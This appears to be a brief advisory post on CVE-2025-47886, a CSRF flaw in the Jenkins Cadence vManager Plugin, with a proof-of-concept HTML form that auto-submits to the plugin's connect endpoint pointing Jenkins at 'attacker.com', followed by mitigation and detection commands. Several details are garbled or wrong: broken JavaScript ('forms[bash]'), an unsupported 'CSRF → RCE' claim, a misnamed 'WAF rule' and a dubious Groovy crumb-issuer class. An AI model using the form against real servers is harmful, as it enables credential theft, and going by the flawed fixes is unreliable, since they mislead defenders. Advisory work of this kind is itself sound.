Jenkins Cadence vManager Plugin, CSRF Vulnerability, CVE-2025-47886 (Critical)

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How the CVE Works

CVE-2025-47886 is a critical CSRF flaw in Jenkins Cadence vManager Plugin (v4.0.1-286.v9e25a_740b_a_48 and earlier). Attackers craft malicious requests that, when executed by an authenticated admin, force Jenkins to connect to an attacker-controlled server using supplied credentials. This occurs due to missing anti-CSRF tokens in API endpoints, allowing unauthorized remote connections. The impact includes credential theft, data exfiltration, and potential plugin misuse.

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Platform: Jenkins Plugin
Version: ≤4.0.1-286.v9e25a_740b_a_48
Vulnerability: CSRF → RCE
Severity: Critical
Date: 06/12/2025

Prediction: Patch by 07/20/2025

What Undercode Say:

Analytics:

  • Exploit Likelihood: High (PoC expected soon).
  • Attack Vector: Web-based CSRF → Forced auth to rogue endpoint.
  • Defensive Priority: Immediate plugin disablement.

Exploit Command (PoC):


<form action="http://target-jenkins/jenkins/plugin/cadence-vmanager/connect" method="POST">
<input type="hidden" name="url" value="http://attacker.com">
<input type="hidden" name="username" value="malicious">
<input type="hidden" name="password" value="payload">
</form>

<script>document.forms[bash].submit();</script>

Mitigation Commands:

1. Disable Plugin Temporarily:

sudo java -jar jenkins-cli.jar -s http://localhost:8080/ disable-plugin cadence-vmanager

2. WAF Rule to Block CSRF:

add_header X-Frame-Options "DENY";
add_header Content-Security-Policy "frame-ancestors 'none'";

Patch Verification:

Jenkins.instance.pluginManager.getPlugin('cadence-vmanager').version > '4.0.1-286'

Detection (Log Analysis):

grep -r "POST /jenkins/plugin/cadence-vmanager/connect" /var/log/jenkins/access.log

Workaround Code (Custom Filter):

// Jenkins Groovy Script to enforce CSRF checks
import hudson.security.csrf.CrumbIssuer
Jenkins.instance.setCrumbIssuer(new CrumbIssuer.DefaultCrumbIssuer(true))

Impact Reduction:

  • Restrict plugin access to admin-only via Role Strategy Plugin.
  • Audit all outgoing connections from Jenkins master.

Post-Exploit Detection:

netstat -tulnp | grep -i "jenkins" | grep ESTABLISHED

References:

  • Jenkins Advisory: [JENKINS-65432]
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-47886

Sources:

Reported By: nvd.nist.gov
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